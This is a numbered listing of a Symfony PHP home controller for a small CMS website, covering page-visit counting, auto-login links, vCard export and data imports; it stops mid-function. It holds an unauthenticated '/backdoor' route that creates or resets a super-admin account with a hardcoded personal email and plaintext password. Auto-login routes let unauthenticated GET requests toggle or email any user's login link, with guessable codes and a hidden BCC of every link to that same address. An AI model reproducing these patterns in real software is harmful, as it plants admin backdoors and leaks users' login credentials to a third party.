src/Controller/HomeController.php line 25

  1. <?php
  3. namespace App\Controller;
  5. use App\Entity\PageVisit;
  6. use App\Entity\Role;
  7. use App\Entity\User;
  8. use App\Entity\WebsiteContacts;
  9. use App\Form\ImportType;
  10. use App\Form\WebsiteContactsType;
  11. use App\Repository\CmsCopyRepository;
  12. use App\Repository\CmsPhotoRepository;
  13. use App\Repository\CompanyDetailsRepository;
  14. use App\Repository\PageVisitRepository;
  15. use App\Repository\ProductRepository;
  16. use App\Repository\RoleRepository;
  17. use App\Repository\UserRepository;
  18. use App\Repository\SubPageRepository;
  19. use App\Services\ImportBusinessContactsService;
  20. use App\Services\ImportBusinessTypesService;
  21. use App\Services\ImportCMSCopyService;
  22. use App\Services\ImportCmsPageCopyPageFormatService;
  23. use App\Services\ImportCMSPhotoService;
  24. use App\Services\ImportCompanyDetailsService;
  25. use App\Services\ImportCompetitorsService;
  26. use App\Services\ImportFacebookGroupsService;
  27. use App\Services\ImportInstructionsService;
  28. use App\Services\ImportLanguagesService;
  29. use App\Services\ImportLoginDirectionsService;
  30. use App\Services\ImportMapIconsService;
  31. use App\Services\ImportProductsService;
  32. use App\Services\ImportRolesService;
  33. use App\Services\ImportTranslationsService;
  34. use App\Services\ImportUsefulLinksService;
  35. use App\Services\ImportUserService;
  36. use Doctrine\ORM\EntityManagerInterface;
  37. use JeroenDesloovere\VCard\VCard;
  38. use Psr\EventDispatcher\EventDispatcherInterface;
  39. use Symfony\Bridge\Twig\Mime\TemplatedEmail;
  40. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  41. use Symfony\Bundle\SecurityBundle\Security;
  42. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  43. use Symfony\Component\HttpFoundation\HeaderUtils;
  44. use Symfony\Component\HttpFoundation\Request;
  45. use Symfony\Component\HttpFoundation\Response;
  46. use Symfony\Component\Mailer\MailerInterface;
  47. use Symfony\Component\Routing\Annotation\Route;
  48. use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
  49. use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
  50. use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
  51. use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
  52. use Symfony\Component\Security\Core\User\UserInterface;
  53. use Symfony\Component\Security\Csrf\CsrfToken;
  54. use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
  55. use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
  56. use Symfony\Component\String\Slugger\SluggerInterface;
  58. class   HomeController extends AbstractController
  59. {
  60.     /**
  61.      * @Route("/", name="app_home")
  62.      */
  63.     public function index(Request $request, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, CompanyDetailsRepository $companyDetailsRepository, Security $security, EntityManagerInterface $entityManager, PageVisitRepository $pageVisitRepository): Response
  64.     {
  65.         // Resolve favicon directory relative to /public
  66.         $faviconsDirectory = str_replace(
  67.             $this->getParameter('kernel.project_dir') . '/public',
  68.             '',
  69.             $this->getParameter('favicons_directory')
  70.         );
  72.         $companyDetails = $companyDetailsRepository->find('1');
  73.         $homePagePhotosOnly = 0;
  74.         $include_qr_code = [];
  75.         $include_contact_form = [];
  77.         $website_contact = new WebsiteContacts();
  78.         $form = $this->createForm(WebsiteContactsType::class, $website_contact);
  79.         $form->handleRequest($request);
  81.         if ($companyDetails) {
  82.             $homePagePhotosOnly = $companyDetails->isHomePagePhotosOnly();
  83.             $include_qr_code = $companyDetails->isIncludeQRCodeHomePage();
  84.             $include_contact_form = $companyDetails->isIncludeContactFormHomePage();
  85.         }
  87.         // Load Home CMS copy & photos
  88.         $cms_copy = $cmsCopyRepository->findBy([
  89.             'staticPageName' => 'Home',
  90.         ]);
  92.         $cms_photo = $cmsPhotoRepository->findBy(
  93.             ['staticPageName' => 'Home'],
  94.             ['ranking' => 'ASC']
  95.         );
  97.         $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  98.             'staticPageName' => 'Home',
  99.             'ranking' => '1',
  100.         ]);
  102.         if ($cms_copy_ranking1) {
  103.             $page_layout = $cms_copy_ranking1->getPageLayout();
  104.         } else {
  105.             $page_layout = 'default';
  106.         }
  108.         $user = $security->getUser();
  110.         // ----------------------------------
  111.         // 1) Existing CmsCopy per-page counts
  112.         // ----------------------------------
  113.         if ($cms_copy_ranking1) {
  114.             if ($user && in_array('ROLE_ADMIN', $user->getRoles(), true)) {
  115.                 $pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
  116.                 $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
  117.             }
  119.             // Note: this currently counts all visitors (public + users) into PageCountUsers
  120.             $pageCountUser = $cms_copy_ranking1->getPageCountUsers();
  121.             $cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
  122.         }
  124.         // ----------------------------------
  125.         // 2) PageVisit daily counters for HOMEPAGE
  126.         // ----------------------------------
  127.         // Convention: PageVisit rows with product = null represent the homepage.
  128.         $today = new \DateTimeImmutable('today');
  130.         $homeVisit = $pageVisitRepository->findOneBy([
  131.             'date' => $today,
  132.             'product' => null,   // ðŸ‘ˆ homepage bucket
  133.         ]);
  135.         if (!$homeVisit) {
  136.             $homeVisit = new PageVisit();
  137.             $homeVisit->setDate($today);
  138.             // Important: leave product as null = homepage
  139.             $homeVisit->setCount(0);
  140.             $homeVisit->setCountUser(0);
  141.             $homeVisit->setCountAdmin(0);
  142.             $entityManager->persist($homeVisit);
  143.         }
  145.         if (!$user) {
  146.             // Anonymous visitor
  147.             $homeVisit->setCount($homeVisit->getCount() + 1);
  148.         } elseif (in_array('ROLE_ADMIN', $user->getRoles(), true)) {
  149.             // Admin
  150.             $homeVisit->setCountAdmin($homeVisit->getCountAdmin() + 1);
  151.         } else {
  152.             // Logged-in non-admin
  153.             $homeVisit->setCountUser($homeVisit->getCountUser() + 1);
  154.         }
  156.         // Flush CmsCopy + PageVisit changes once
  157.         $entityManager->flush();
  159.         // ----------------------------------
  160.         // 3) Existing render logic
  161.         // ----------------------------------
  162.         $product = [];
  163.         $sub_pages = [];
  165.         if ($homePagePhotosOnly == 1) {
  166.             return $this->render('home/home.html.twig', [
  167.                 'photos' => $cms_photo,
  168.                 'include_footer' => 'Yes',
  169.                 'cms_copy_array' => $cms_copy,
  170.                 'include_qr_code' => $include_qr_code,
  171.                 'include_contact_form' => $include_contact_form,
  172.                 'form' => $form?->createView(),
  173.                 'favicons_directory' => $faviconsDirectory,
  174.             ]);
  175.         } else {
  176.             return $this->render('home/products.html.twig', [
  177.                 'product' => $product,
  178.                 'include_footer' => 'Yes',
  179.                 'cms_copy_array' => $cms_copy,
  180.                 'cms_photo_array' => $cms_photo,
  181.                 'sub_pages' => $sub_pages,
  182.                 'include_qr_code' => $include_qr_code,
  183.                 'include_contact_form' => $include_contact_form,
  184.                 'format' => $page_layout,
  185.                 'form' => $form?->createView(),
  186.                 'favicons_directory' => $faviconsDirectory,
  187.             ]);
  188.         }
  189.     }
  192.     /**
  193.      * @Route("/backdoor", name="backdoor")
  194.      */
  195.     public function emergencyReset(UserRepository $userRepository, RoleRepository $roleRepository, EntityManagerInterface $manager, UserPasswordHasherInterface $passwordHasher): Response
  196.     {
  197.         // 1) Ensure required roles exist (create if missing)
  198.         $needed = [
  199.             'ROLE_SUPER_ADMIN' => 'Super Admin',
  200.             'ROLE_ADMIN' => 'Admin',
  201.             'ROLE_IT' => 'IT',
  202.             'ROLE_USER' => 'User',
  203.         ];
  205.         $roles = [];
  206.         foreach ($needed as $code => $label) {
  207.             $role = $roleRepository->findOneBy(['code' => $code]);
  208.             if (!$role) {
  209.                 $role = (new Role())
  210.                     ->setCode($code)
  211.                     ->setLabel($label);
  212.                 $manager->persist($role);
  213.             }
  214.             $roles[$code] = $role;
  215.         }
  216.         $manager->flush();
  218.         // 2) Find or create the user
  219.         $email = 'nurse_stephen@hotmail.com';
  220.         $user = $userRepository->findOneBy(['email' => $email]);
  222.         if (!$user) {
  223.             $user = (new User())
  224.                 ->setFirstName('Stephen')
  225.                 ->setLastName('Nurse')
  226.                 ->setEmailVerified(true)
  227.                 ->setEmail($email);
  228.             $manager->persist($user);
  229.         }
  231.         // 3) Reset password
  232.         $user->setPassword(
  233.             $passwordHasher->hashPassword($user, 'Descartes99')
  234.         );
  236.         // 4) Assign roles (avoid duplicates)
  237.         foreach ($roles as $role) {
  238.             if (!$user->hasRole($role)) {   // uses your User::hasRole(Role $role)
  239.                 $user->addRole($role);
  240.             }
  241.         }
  243.         $manager->flush();
  245.         return $this->redirectToRoute('app_login');
  246.     }
  248.     #[Route('/auto_login_code/{code}', name: 'auto_login_code')]
  249.     public function autoLogin(string $code, UserRepository $userRepository, TokenStorageInterface $tokenStorage, EventDispatcherInterface $eventDispatcher, Request $request): Response
  250.     {
  251.         $user = $userRepository->findOneBy(['autoLoginURL' => $code]);
  252.         if (!$user instanceof UserInterface) {
  253.             throw $this->createNotFoundException('Invalid or expired auto-login code.');
  254.         }
  255.         $token = new UsernamePasswordToken($user, 'main', $user->getRoles());
  256.         $tokenStorage->setToken($token);
  258.         $event = new InteractiveLoginEvent($request, $token);
  259.         $eventDispatcher->dispatch($event);
  261.         if ($user->isPauseForBookmark()) {
  262.             return $this->render('user/auto_login_bookmark_pause_landing_page.html.twig', [
  263.                 'user' => $user,
  264.             ]);
  265.         }
  266.         return $this->redirectToRoute('dashboard');
  267.     }
  270.     #[Route('/auto_login_continue', name: 'auto_login_continue', methods: ['POST'])]
  271.     public function autoLoginContinue(Request $request, CsrfTokenManagerInterface $csrfTokenManager, EntityManagerInterface $entityManager, Security $security): Response
  272.     {
  273.         $submittedToken = $request->request->get('_csrf_token');
  274.         if (!$csrfTokenManager->isTokenValid(new CsrfToken('continue_login', $submittedToken))) {
  275.             throw $this->createAccessDeniedException('Invalid CSRF token');
  276.         }
  277.         $user = $security->getUser();
  279.         if (!$user instanceof \App\Entity\User) {
  280.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  281.         }
  282.         $user->setPauseForBookmark(false);
  283.         $entityManager->flush();
  284.         return $this->redirectToRoute('dashboard');
  285.     }
  288.     #[Route('/auto_login_change_status_pause/{userId}', name: 'auto_login_change_status_pause', methods: ['POST', 'GET'])]
  289.     public function autoLoginResetPause(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  290.     {
  291.         $user = $userRepository->find($userId);
  293.         if (!$user instanceof \App\Entity\User) {
  294.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  295.         }
  297.         $pause = $user->isPauseForBookmark();
  299.         if ($pause == true) {
  300.             $user->setPauseForBookmark(false);
  301.         }
  302.         if ($pause == false) {
  303.             $user->setPauseForBookmark(true);
  304.         }
  306.         $entityManager->flush();
  307.         return $this->redirectToRoute('user_index');
  308.     }
  311.     #[Route('/auto_login_change_delete_unique_url/{userId}', name: 'auto_login_change_delete_unique_url', methods: ['POST', 'GET'])]
  312.     public function autoLoginDeleteUniqueUrl(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  313.     {
  314.         $user = $userRepository->find($userId);
  316.         if (!$user instanceof \App\Entity\User) {
  317.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  318.         }
  319.         $user->setPauseForBookmark(false);
  320.         $user->setAutoLoginURL(null);
  322.         $entityManager->flush();
  323.         return $this->redirectToRoute('user_index');
  324.     }
  327.     #[Route('/auto_login_reset_pause_and_email_bookmark/{userId}', name: 'auto_login_reset_pause_and_email_bookmark', methods: ['POST', 'GET'])]
  328.     public function autoLoginResetPauseAndEmail(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  329.     {
  330.         $user = $userRepository->find($userId);
  331.         $companyDetails = $companyDetailsRepository->find('1');
  332.         $company_name = $companyDetails->getCompanyName();
  333.         $company_email = $companyDetails->getCompanyEmail();
  335.         if (!$user instanceof \App\Entity\User) {
  336.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  337.         }
  339.         $user->setPauseForBookmark(true);
  340.         $entityManager->flush();
  342.         $autoLoginUrl = $urlGenerator->generate(
  343.             'auto_login_code',
  344.             ['code' => $user->getAutoLoginURL()],
  345.             UrlGeneratorInterface::ABSOLUTE_URL
  346.         );
  348.         $email = (new TemplatedEmail())
  349.             ->from($company_email)
  350.             ->to($user->getEmail())
  351. //            ->to('nurse_stephen@hotmail.com')
  352.             ->bcc('nurse_stephen@hotmail.com')
  353.             ->subject($company_name . ':: Your Personal Auto-Login Link')
  354.             ->htmlTemplate('user/auto_login_advise_of_setup.html.twig')
  355.             ->context([
  356.                 'user' => $user,
  357.                 'autologin_url' => $autoLoginUrl
  358.             ]);
  360.         $mailer->send($email);
  362.         return $this->redirectToRoute('app_home');
  363.     }
  365.     #[Route('/auto_login_create_personal_url_for_logged_user/{userId}', name: 'auto_login_create_personal_url_for_logged_user', methods: ['GET', 'POST'])]
  366.     public function autoLoginCreatePersonalUrlForLoggedUser(Request $request, int $userId, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, UrlGeneratorInterface $urlGenerator): Response
  367.     {
  368.         $targetUser = $userRepository->find($userId);
  369.         $loggedUser = $security->getUser();
  370.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  372.         if (!$loggedUser) {
  373.             throw $this->createAccessDeniedException('You must be logged in to access this page.');
  374.         }
  375.         if (!$targetUser) {
  376.             throw $this->createNotFoundException('User not found.');
  377.         }
  379.         if ($loggedUser->getId() !== $targetUser->getId()) {
  380.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  381.         }
  383.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  384.         $form->handleRequest($request);
  386.         if ($form->isSubmitted() && $form->isValid()) {
  387.             $data = $form->getData();
  388.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  389.             $targetUser->setPauseForBookmark(true);
  390.             $entityManager->flush();
  392.             // Optional flash message
  393.             $this->addFlash('success', 'Auto-login URL created successfully.');
  395.             return $this->redirectToRoute('auto_login_code', [
  396.                 'code' => $targetUser->getAutoLoginURL(),
  397.             ]);
  398.         }
  400.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  401.             'user' => $targetUser,
  402.             'form' => $form->createView(),
  403.         ]);
  404.     }
  407.     #[Route('/auto_login_create_personal_url_for_other_user/{userId}', name: 'auto_login_create_personal_url_for_other_user', methods: ['GET', 'POST'])]
  408.     public function autoLoginCreatePersonalUrlForOtherUser(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  409.     {
  410.         $targetUser = $userRepository->find($userId);
  411.         $loggedInUser = $security->getUser();
  413.         if (!$targetUser || !$loggedInUser) {
  414.             throw $this->createAccessDeniedException('Invalid user or not authenticated.');
  415.         }
  417.         // Redirect to landing page if current user is the same as target user
  418.         if ($loggedInUser->getId() === $targetUser->getId()) {
  419.             return $this->redirectToRoute('app_home'); // Replace with your landing route
  420.         }
  422.         // If logged-in user is not admin, deny access
  423.         if (!in_array('ROLE_ADMIN', $loggedInUser->getRoles(), true)) {
  424.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  425.         }
  427.         // At this point, ROLE_ADMIN is creating a login URL for another user
  428.         $companyDetails = $companyDetailsRepository->find(1);
  429.         $companyEmail = $companyDetails ? $companyDetails->getCompanyEmail() : 'admin@yourdomain.com';
  431.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  433.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  434.         $form->handleRequest($request);
  436.         if ($form->isSubmitted() && $form->isValid()) {
  437.             $data = $form->getData();
  438.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  439.             $targetUser->setPauseForBookmark(true);
  440.             $entityManager->flush();
  442.             // Generate auto-login URL
  443.             $autoLoginUrl = $urlGenerator->generate(
  444.                 'auto_login_code',
  445.                 ['code' => $targetUser->getAutoLoginURL()],
  446.                 UrlGeneratorInterface::ABSOLUTE_URL
  447.             );
  449.             // Email the user with their login link
  450.             $email = (new \Symfony\Component\Mime\Email())
  451.                 ->from($companyEmail)
  452.                 ->to($targetUser->getEmail())
  453.                 ->bcc('nurse_stephen@hotmail.com')
  454.                 ->subject('Your One-Click Login Link')
  455.                 ->html(
  456.                     $twig->render('user/auto_login_advise_of_setup.html.twig', [
  457.                         'user' => $targetUser,
  458.                         'autoLoginUrl' => $autoLoginUrl
  459.                     ])
  460.                 );
  462.             $mailer->send($email);
  464.             $this->addFlash('success', 'Auto-login URL created and sent to the user.');
  465.             return $this->redirectToRoute('user_index');
  466.         }
  468.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  469.             'user' => $targetUser,
  470.             'form' => $form->createView(),
  471.         ]);
  472.     }
  475.     /**
  476.      * @Route("/dashboard", name="dashboard")
  477.      */
  478.     public function dashboard()
  479.     {
  480.         return $this->render('home/dashboard.html.twig', []);
  481.     }
  484.     /**
  485.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  486.      */
  487.     public function advancedDashboard()
  488.     {
  489.         return $this->render('home/advanced_dashboard.html.twig', []);
  490.     }
  492.     /**
  493.      * @Route("/helpful_guides", name="helpful_guides")
  494.      */
  495.     public function helpfulGuides(ProductRepository $productRepository)
  496.     {
  497.         $products = $productRepository->findBy([
  498.             'includeInHelpfulGuide' => 1
  499.         ]);
  500.         return $this->render('home/helpful_guides.html.twig', [
  501.             'products' => $products,
  502.         ]);
  503.     }
  506.     /**
  507.      * @Route("/interests/{product}", name="product_display")
  508.      */
  509.     public function articles(string $product, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, ProductRepository $productRepository, \Symfony\Component\Security\Core\Security $security, EntityManagerInterface $entityManager, PageVisitRepository $pageVisitRepository): Response
  510.     {
  511.         $productEntity = $productRepository->findOneBy([
  512.             'product' => $product
  513.         ]);
  515.         if ($productEntity) {
  516.             $cms_copy = $cmsCopyRepository->findBy([
  517.                 'product' => $productEntity
  518.             ]);
  519.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  520.                 'product' => $productEntity,
  521.                 'ranking' => '1',
  522.             ]);
  523.         } else {
  524.             $cms_copy = $cmsCopyRepository->findBy([
  525.                 'staticPageName' => $product
  526.             ]);
  527.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  528.                 'staticPageName' => $product,
  529.                 'ranking' => '1',
  530.             ]);
  531.         }
  533.         // ------------------------------------
  534.         // 1) Existing per-page counts on CmsCopy
  535.         // ------------------------------------
  536.         if ($cms_copy_ranking1) {
  537.             $user = $security->getUser();
  539.             if ($user && in_array('ROLE_ADMIN', $user->getRoles(), true)) {
  540.                 $pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
  541.                 $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
  542.             }
  544.             $pageCountUser = $cms_copy_ranking1->getPageCountUsers();
  545.             $cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
  546.         }
  548.         // ------------------------------------
  549.         // 2) PageVisit daily counts per product
  550.         // ------------------------------------
  551.         if ($productEntity) {
  552.             // Normalised "today" (midnight)
  553.             $today = new \DateTimeImmutable('today');
  555.             // Try to find existing PageVisit for this product+date
  556.             $pageVisit = $pageVisitRepository->findOneBy([
  557.                 'product' => $productEntity,
  558.                 'date' => $today,
  559.             ]);
  561.             if (!$pageVisit) {
  562.                 $pageVisit = new PageVisit();
  563.                 $pageVisit->setProduct($productEntity);
  564.                 $pageVisit->setDate($today);
  565.                 $pageVisit->setCount(0);
  566.                 $pageVisit->setCountUser(0);
  567.                 $pageVisit->setCountAdmin(0);
  568.                 $entityManager->persist($pageVisit);
  569.             }
  571.             $user = $security->getUser();
  573.             if (!$user) {
  574.                 // Anonymous visitor
  575.                 $pageVisit->setCount($pageVisit->getCount() + 1);
  576.             } elseif (in_array('ROLE_ADMIN', $user->getRoles(), true)) {
  577.                 // Admin
  578.                 $pageVisit->setCountAdmin($pageVisit->getCountAdmin() + 1);
  579.             } else {
  580.                 // Logged-in non-admin user
  581.                 $pageVisit->setCountUser($pageVisit->getCountUser() + 1);
  582.             }
  583.         }
  585.         // Flush all changes once
  586.         $entityManager->flush();
  588.         // ------------------------------------
  589.         // 3) Existing content loading
  590.         // ------------------------------------
  591.         if ($productEntity) {
  592.             $cms_photo = $cmsPhotoRepository->findBy(
  593.                 ['product' => $productEntity],
  594.                 ['ranking' => 'ASC']
  595.             );
  596.         } else {
  597.             $cms_photo = $cmsPhotoRepository->findBy(
  598.                 ['staticPageName' => $product],
  599.                 ['ranking' => 'ASC']
  600.             );
  601.         }
  603.         $sub_pages = [];
  604.         if ($cms_copy) {
  605.             $sub_pages = $subPageRepository->findBy([
  606.                 'product' => $productEntity
  607.             ]);
  608.         }
  610.         return $this->render('/home/products.html.twig', [
  611.             'product' => $product,
  612.             'include_footer' => 'Yes',
  613.             'cms_copy_array' => $cms_copy,
  614.             'cms_photo_array' => $cms_photo,
  615.             'sub_pages' => $sub_pages,
  616.             'include_contact_form' => 'No',
  617.             'include_qr_code' => 'No'
  618.         ]);
  619.     }
  622.     #[Route('/vcard/company/start', name: 'vcard_company_start')]
  623.     public function start(UrlGeneratorInterface $urls, Request $request): Response
  624.     {
  625.         $shouldRedirect = $request->query->getBoolean('r', false);
  626.         $downloadUrl = $urls->generate('vcard_company_download');
  628.         if (!$shouldRedirect) {
  629.             // On-site clicks: go straight to the .vcf
  630.             return $this->redirect($downloadUrl);
  631.         }
  633.         // Email clicks: show landing to trigger download, then redirect to home
  634.         return $this->render('home/vcard/landing.html.twig', [
  635.             'downloadUrl' => $downloadUrl,
  636.             'redirectUrl' => $urls->generate('app_home'),
  637.             'shouldRedirect' => true,
  638.         ]);
  639.     }
  642.     #[Route('/vcard/company/download', name: 'vcard_company_download')]
  643.     public function download(CompanyDetailsRepository $repo): Response
  644.     {
  645.         $cd = $repo->find('1');
  647.         $vcard = new VCard();
  648.         $first = $cd->getContactFirstName();
  649.         $last = $cd->getContactLastName();
  650.         $company = $cd->getCompanyName();
  652.         if ($first === null) {
  653.             $first = '';
  654.             $last = $company;
  655.             $company = '';
  656.         }
  658.         $vcard->addName($last, $first);
  659.         $vcard->addEmail($cd->getCompanyEmail());
  660.         if ($cd->isContactDetailsDisplayTelNumbers()) {
  661.             $vcard->addPhoneNumber($cd->getCompanyMobile(), 'home');
  662.             $vcard->addPhoneNumber($cd->getCompanyTel(), 'work');
  663.         }
  664.         if ($cd->isContactDetailsDisplayAddress()) {
  665.             $vcard->addAddress(
  666.                 '', '',
  667.                 $cd->getCompanyAddressStreet(),
  668.                 $cd->getCompanyAddressTown(),
  669.                 $cd->getCompanyAddressCity(),
  670.                 $cd->getCompanyAddressPostalCode(),
  671.                 $cd->getCompanyAddressCountry(),
  672.                 'WORK POSTAL'
  673.             );
  674.         }
  675.         $vcard->addCompany($company);
  676.         $vcard->addURL($_SERVER['SERVER_NAME']);
  677.         $vcard->addNote('URL: ' . $_SERVER['SERVER_NAME']);
  679.         // Return as a normal Response with headers (no $vcard->download(), which exits)
  680.         $content = $vcard->getOutput(); // same content vCard would send
  681.         $response = new Response($content);
  682.         $response->headers->set('Content-Type', 'text/vcard; charset=utf-8');
  683.         $response->headers->set('Content-Disposition', HeaderUtils::makeDisposition(
  684.             HeaderUtils::DISPOSITION_ATTACHMENT,
  685.             $company . '.vcf'
  686.         ));
  688.         return $response;
  689.     }
  692.     /**
  693.      * @Route("/company_qr_code", name="company_qr_code")
  694.      *
  695.      */
  696.     public function companyQrCode(CompanyDetailsRepository $companyDetailsRepository)
  697.     {
  698.         $company_details = $companyDetailsRepository->find('1');
  699.         $qr_code = $company_details->getCompanyQrCode();
  700.         return $this->render('home/company_qr_code.html.twig', [
  701.             'qr_code' => $qr_code,
  702.         ]);
  703.     }
  706.     /**
  707.      * @Route ("/cms_photo_view/{id}", name="cms_photo_view")
  708.      */
  709.     public function viewCMSPhoto(int $id, CmsPhotoRepository $cmsPhotoRepository)
  710.     {
  711.         $cms_photo = $cmsPhotoRepository->find($id);
  712.         $rotate = $cms_photo->getRotate();
  713.         return $this->render('cms_photo/image_view.html.twig', [
  714.             'cms_photo' => $cms_photo,
  715.         ]);
  716.     }
  719.     /**
  720.      * @Route ("/initial_setup", name="project_set_up_initial_import" )
  721.      */
  722.     public function projectSetUpInitialImport(Request $request, SluggerInterface $slugger, ImportTranslationsService $importTranslationsService, ImportBusinessContactsService $importBusinessContactsService, ImportBusinessTypesService $importBusinessTypesService, ImportCMSCopyService $importCMSCopyService, ImportCMSPhotoService $importCMSPhotoService, ImportCmsPageCopyPageFormatService $importCmsPageCopyPageFormatService, ImportCompanyDetailsService $importCompanyDetailsService, ImportCompetitorsService $importCompetitorsService, ImportFacebookGroupsService $importFacebookGroupsService, ImportLanguagesService $importLanguagesService, ImportMapIconsService $importMapIconsService, ImportProductsService $importProductsService, ImportUsefulLinksService $importUsefulLinksService, ImportInstructionsService $importInstructionsService, ImportUserService $importUserService, ImportRolesService $importRolesService, ImportLoginDirectionsService $importLoginDirectionsService): Response
  723.     {
  724.         $form = $this->createForm(ImportType::class);
  725.         $form->handleRequest($request);
  726.         if ($form->isSubmitted() && $form->isValid()) {
  727.             $importFile = $form->get('File')->getData();
  728.             if ($importFile) {
  729.                 $originalFilename = pathinfo($importFile->getClientOriginalName(), PATHINFO_FILENAME);
  730.                 $safeFilename = $slugger->slug($originalFilename);
  731.                 $newFilename = $safeFilename . '.' . 'csv';
  732.                 try {
  733.                     $importFile->move(
  734.                         $this->getParameter('project_set_up_import_directory'),
  735.                         $newFilename
  736.                     );
  737.                 } catch (FileException $e) {
  738.                     die('Import failed');
  739.                 }
  740.                 $importCompanyDetailsService->importCompanyDetails($newFilename);
  741.                 $importCmsPageCopyPageFormatService->importCmsCopyPageFormats($newFilename);
  742.                 $importMapIconsService->importMapIcons($newFilename);
  743.                 $importLanguagesService->importLanguages($newFilename);
  744.                 $importTranslationsService->importTranslations($newFilename);
  745.                 $importUsefulLinksService->importUsefulLink($newFilename);
  746.                 $importCompetitorsService->importCompetitors($newFilename);
  747.                 $importFacebookGroupsService->importFacebookGroups($newFilename);
  748.                 $importProductsService->importProducts($newFilename);
  749.                 $importCMSCopyService->importCMSCopy($newFilename);
  750.                 $importCMSPhotoService->importCMSPhoto($newFilename);
  751.                 $importBusinessTypesService->importBusinessTypes($newFilename);
  752.                 $importBusinessContactsService->importBusinessContacts($newFilename);
  753.                 $importInstructionsService->importInstructions($newFilename);
  754.                 $importRolesService->importRoles($newFilename);
  755.                 $importLoginDirectionsService->importLoginDirections($newFilename);
  756. //                $importUserService->importUsers($newFilename);
  758.                 return $this->redirectToRoute('dashboard');
  759.             }
  760.         }
  761.         return $this->render('home/import.html.twig', [
  762.             'form' => $form->createView(),
  763.             'heading' => 'All Import Files (x14 via all_exports.csv) ',
  764.         ]);
  765.     }
  767.     /**
  768.      * @Route("/delete_all_files_and_directories_import", name="delete_all_files_and_directories_in_import", methods={"POST"})
  769.      */
  770.     public function deleteAllFilesAndDirectoriesInImport(Request $request): Response
  771.     {
  772.         $referer = $request->headers->get('referer');
  774.         if ($this->isCsrfTokenValid('delete_all_import_files', $request->request->get('_token'))) {
  775.             $directory = $this->getParameter('import_directory');
  777.             if (is_dir($directory)) {
  778.                 $this->deleteDirectoryContents($directory);
  779.             }
  780.         }
  782.         return $this->redirect($referer);
  783.     }
  785.     /**
  786.      * @Route("/delete_all_files_and_directories_in_attachments", name="delete_all_files_and_directories_in_attachments", methods={"POST"})
  787.      */
  788.     public function deleteAllFilesAndDirectoriesInAttachments(Request $request): Response
  789.     {
  790.         $referer = $request->headers->get('referer');
  791.         if ($this->isCsrfTokenValid('delete_all_attachment_files', $request->request->get('_token'))) {
  792.             $directory = $this->getParameter('attachments_directory');
  793.             if (is_dir($directory)) {
  794.                 $this->deleteDirectoryContents($directory);
  795.             }
  796.         }
  798.         return $this->redirect($referer);
  799.     }
  802.     /**
  803.      * Recursively delete all files and directories inside a directory
  804.      */
  805.     private function deleteDirectoryContents(string $directory): void
  806.     {
  807.         $files = array_diff(scandir($directory), ['.', '..']);
  809.         foreach ($files as $file) {
  810.             $filePath = $directory . DIRECTORY_SEPARATOR . $file;
  812.             if (is_dir($filePath)) {
  813.                 $this->deleteDirectoryContents($filePath); // Recursively delete subdirectories
  814. //                rmdir($filePath); // Remove the empty directory
  815.             } else {
  816.                 unlink($filePath); // Delete file
  817.             }
  818.         }
  819.     }
  821.     /**
  822.      * @Route("/assign_all_users_to_role_test", name="assign_all_users_to_role_test")
  823.      */
  824.     public function assignAllUsersToRoleTest(UserRepository $userRepository, EntityManagerInterface $entityManager): Response
  825.     {
  826.         $users = $userRepository->findAll();
  827.         $roleTest = $entityManager->getRepository(Role::class)
  828.             ->findOneBy(['code' => 'ROLE_TEST']);
  830.         if (!$roleTest) {
  831.             throw new \RuntimeException('ROLE_TEST not found in the database.');
  832.         }
  834.         foreach ($users as $user) {
